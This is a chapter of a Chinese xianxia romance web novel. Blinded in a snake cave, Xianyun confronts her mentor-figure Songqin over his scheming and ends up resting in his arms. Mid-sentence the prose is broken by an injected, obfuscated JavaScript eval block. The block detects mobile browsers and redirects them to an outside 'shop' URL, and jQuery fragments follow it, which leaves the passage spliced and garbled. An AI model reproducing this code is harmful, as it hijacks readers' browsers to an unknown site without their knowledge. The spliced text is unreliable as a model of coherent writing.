风声停了。
黑暗像潮水一样漫上来,依次淹过仙昀的脚踝、膝盖、腰腹,再到胸口。她下意识伸手去抓,触到一种如同陈年丝缎的东西。
是大片层层叠叠的蛇蜕,不知在此积了多少年。
仙昀试图睁眼。
没有用。
黑暗不是从外面压下来的,而是从她瞳孔深处漫出来的,仙昀明明能感觉到自己的眼睑在动,睫羽在颤,可眼睛却被蒙得严严实实。
呼吸遽然急促,她挣扎着撑起身体,手肘却陷进柔软的蛇蜕堆里,触感滑腻微凉。
仙昀眨了眨眼,用力,再用力。
还是没有用。
眼珠无端发胀,仙昀想抬手去抠,甚至把那层无形的膜撕下来。
她烦躁至极,又心生畏惧,并非因为黑暗,单单因为——她不知道自己在畏惧什么。
指尖开始发麻,她的脊背绷成一张拉满的弓,明明四周寂静无声,仙昀却觉得自己听见了无数细碎的动静——蛇蜕摩擦的窸窣,地底暗流的滴答,还有某种极为遥远幽微的心跳。
咚、咚、咚……
不是她的。
仙昀猛地按住自己的胸口,那里跳得又急又乱。
可那道心跳又沉又慢,与她的紊乱截然不同。
这是什么?
她为什么会听见这个!
无处寻迹的噪音几乎摧折她的神经,头疼欲裂,仙昀想站起来,想奔跑,想撕碎什么,想——
想蜕皮。
这个念头像闪电劈进脑海,荒诞得令她皮肤一紧。
“我不是蛇,我是人!”
仙昀听到自己颤抖的声音。
可皮肤下那细若游丝的紧绷感无处不在,仙昀蜷缩身体,一手紧紧扶着冰凉的千丝镯,一手无意识地用指甲抠进身下的蛇蜕堆里。
然后她听见了呼吸。
不是她的。
那轻远的呼吸,像从这片黑暗的另一端涉水而来,可下一瞬,它忽然近了,近到她能感觉到那人衣料带起的微凉气流。
“别怕。”
一只手按住了她的后颈。
不对,不是按,那人只是轻轻覆在那里,虎口抵住她绷紧的颈椎,他掌心的温度是烫的。
声线也不是“程实”那种刻意压粗的、憨厚的腔调,而完全是另一个人的声音。
清冽、温润,像山涧新雪融成的第一道溪水。
那只手在她后颈停了一瞬,然后缓缓向下,沿着仙昀僵直的脊背,一节一节,像在安抚一只因受惊而弓起背脊的幼兽。
“灵蛇旧影。”他说,“它发现了你……”
“你又是谁?”仙昀打断他。
她看不见,所以全身仍然紧绷,这下真像一条盘踞直立、警惕以待的蛇。
那只手悬停在她肩胛骨中央。
他在沉默。
仙昀愈发觉得他的声音耳熟,原先头昏脑胀的思绪如水洗一般,灵光乍现,不断拼凑还原。
“松钦。”
仙昀没有动,她依旧抚着千丝镯,指尖却悄声摸向袖里的松玉箭。
“我赠之物,你大可拿它试我。”
“不必多此一举。”
仙昀冷硬拒绝,拿话噎回去,果然是这厮的东西,安安分分躺她怀里,连有人靠近都没有提醒,废物一双。
性子陡然燥热,她面无表情地要将千丝镯拽下来,手劲生猛,一不留神镯子还没褪下来,倒差点把手腕扭折。
“抱歉。”松钦不轻不重地按住她的手腕,语气诚恳。
仙昀不为难自己,撑坐着直起身,上一秒还不要松钦虚扶,下一秒便顺着他绸缎般冰凉舒适的衣裳一路上摸,直至她滚烫的手心触及那瘦削紧绷的下颌。
舒服。
仙昀嘴角微微上扬,松钦或许自己都未察觉,他垂下的睫羽带着迁就的意味。
未及松钦再语,仙昀刚刚确定位置,一记耳光已然落上他脸颊,因得仙昀手上无力,大半落在松钦的脖颈处。
“滚。”
松钦一怔,薄唇紧抿,素来淡漠的眸子里难得掠过一丝错愕,随即又归于沉寂。既不躲,也不恼,眼底深暗。
仙昀自己看不见,松钦却能将她既委屈、偏偏又倔强得不肯示弱的表情尽收眼底。
他虚虚拢着仙昀的双臂颓然收回,喉间久违地生起艰涩。
“我原以为你是真心助我。”
仙昀垂着头吞咽自己的脆弱,才哑着嗓子对一片黑暗说话,她心口压着一块巨石,不说出来就喘不过气。
“你一早便看穿我下山另有所图,表面赠我宝器,其实又是一道考验?甚至还不辞辛劳亲自监视,让我猜猜,鹤延也知情?你们考验什么呢?难道是要引我来这里,引出你那所谓破蛇?哈哈哈……你知道吗?我这次说下山祭奠父母是真的!”
仙昀说着说着便笑了,笑了一会又语调奇怪,似乎在忍着什么:“你竟然连我替父母报仇都要算计,你当真有病!有病!有病!你就活该在你那没一点生气的地方等死,那什么破网,我一点兴趣也没有,你要收回那些法力就来挑断我的手筋吧!”
一通夹枪带棒的指责是仙昀精心挑选的刺,她习惯用最尖锐的方式去控诉她的厌恶。
而对面是一座沉默的山,松钦侧耳在辨认每一个字。
他的呼吸乱了,克制得极轻,却像一片落在深潭的枯叶,只有涟漪,没有声音。
松钦望着她,却不知从何解释,仙昀太聪明,猜得七七八八。
只不过,此时身心难受的她,会下意识将事情往最坏处想。
这是松钦的错。
他该如何解释呢?
说他赠物只是好意,说他待收到鹤延传信才知晓仙昀以身为饵的计谋,说他被困玉琊宫只能以傀儡护她左右,还是说他不惜耗损大半灵力硬破囚禁移形换位?
他不习惯辩解,也说不出口。
仙昀说中了一点,松钦在知晓仙昀要报复的人是温长恭时,的确有借鹤延之口,与其共同引导仙昀前往温家矿场——或者说它真正的名字,灵蛇窟。
他们二人皆想以这灵蛇旧影的威力,作为仙昀修仙根骨之替。
鹤延与松钦商量过是否要告知仙昀,松钦还记得鹤延拱火的话:“到时候被她知道了,非扒了你我的皮不可!”
然而,松钦还是坚持让仙昀毫无戒备地进入灵蛇窟,只因鹤延并不知晓,灵蛇只认心无杂念、意不含贪之人。
唯有未曾听闻其名,且不存觊觎之心者,方能引它善睐。
那可真是一条顽皮的蛇。
念及此,松钦短促失笑。
这无疑对于一直在等待回应的仙昀是火上添油,她此时身上滚烫的燥热已被彻骨的寒冷所取代,比风寒更胜千倍。
绕是如此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209449|197385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她仍抬起手,循着那道笑声的方向,一把攥住了他的衣襟。
仙昀不知道自己攥的是领口还是袖缘,不知道这一下会不会扯得松钦踉跄。
她只知道她必须攥住什么,必须把那个悬在半空的、晃晃悠悠的自己固定下来。
数息的沉默足以证明松钦认领了一切罪名,仙昀不想死在这里,她要为自己谋得更多。
几度启唇,她却不知道还能要什么,她已经从松钦这里切实习得了常人难以触及的法术,也的的确确得到了两件宝器,他们俩是各取所需不是吗?
她眼中因背叛而燃起的怒火因无薪而灭,只剩一堆轻飘飘的余烬,渐渐转冷。
是她越界了。
仙昀冷静下来才发现,他离她太近了。
近到她攥着松钦衣襟的手,几乎抵在他心口,近到她又能闻到他身上那股浅淡干净的气息,近到她的呼吸和他的呼吸在黑暗中缠绕在一起,分不清哪一缕是谁的。
她猛地松开手。
“……离我远些。”
松钦才像被挑断手筋的人,屹然不动。
仙昀想,他一定觉得自己很可笑吧。
“灵蛇的蒙眼期也影响了你,触觉会比平日敏锐数倍。”略一沉默,松钦声音平稳,听不出情绪,“此刻我无论离你三尺,还是三寸,在你感知中并无区别。”
仙昀疑心他没说完的后半句是,远或近,你都会感觉到我。
顾左右而言他,仙昀不知道自己是期待争吵,还是想听与她猜测相左的真相,然而他们二人都前科累累,毫无信用可言。
沉重的疲惫宛如一座大山,压在她纤瘦的双肩上,她又冷又累。
“你施个法,让我衣服暖和一点。”
她是没力气施法了,向罪不可恕的大仙人讨要一点微不足道的、从指缝里漏出的好处,不过分吧?
仙昀这样想着,指尖攥着自己的斗篷,期待着它的变化,却不曾想松钦竟然倾身靠近,长臂微微一收,将她整个人轻轻揽进怀中。
仙昀身子猛地一僵,背脊又绷得笔直,明明冷得都在发抖,却硬是倔强地不肯往他怀里靠半分,脸颊偏到一旁,连呼吸都带着别扭的僵硬。
松钦便也由着她僵着,只是微微俯身,将她更妥帖地圈在自己身前,下颌轻抵在她发顶附近,却不真的落下,只维持着这近在咫尺的距离。
“灵蛇窟禁用法力。”
他眼不眨一下又是一句谎言,总不能说是灵力还未恢复,这便又要解释一番。
松钦也十分疲惫,他阖上眼皮。
仙昀能清晰感受到他沉稳的心跳,隔着层层布料,一下下撞在耳畔。
她咬着唇,在心里恶狠狠地将松钦又骂了一通,这才大发慈悲地劝说自己权宜之计,心安理得将手从松钦腰际环绕到背。
静静嗅了一会,仙昀又别别扭扭换姿势,还没来得及尝试手怎么放,骤然被不动如山的松钦抓过手握在一处,半推半就引着她头靠在左臂,又侧着身子被他的衣袖裹在怀中。
他宽厚温热的右掌心轻轻按在仙昀左侧太阳穴附近,像护着孩童一般珍惜。
仙昀还想抗拒,却因这样近乎亲昵怜惜的举动而陷入迷惘,她并不知道这个动作可以发生在亲情之外,因为她只见过舅母这样哄睡过弟弟。
陷入酣甜梦境前,仙昀都在思考自己与他重叠的心跳,究竟意味着什么?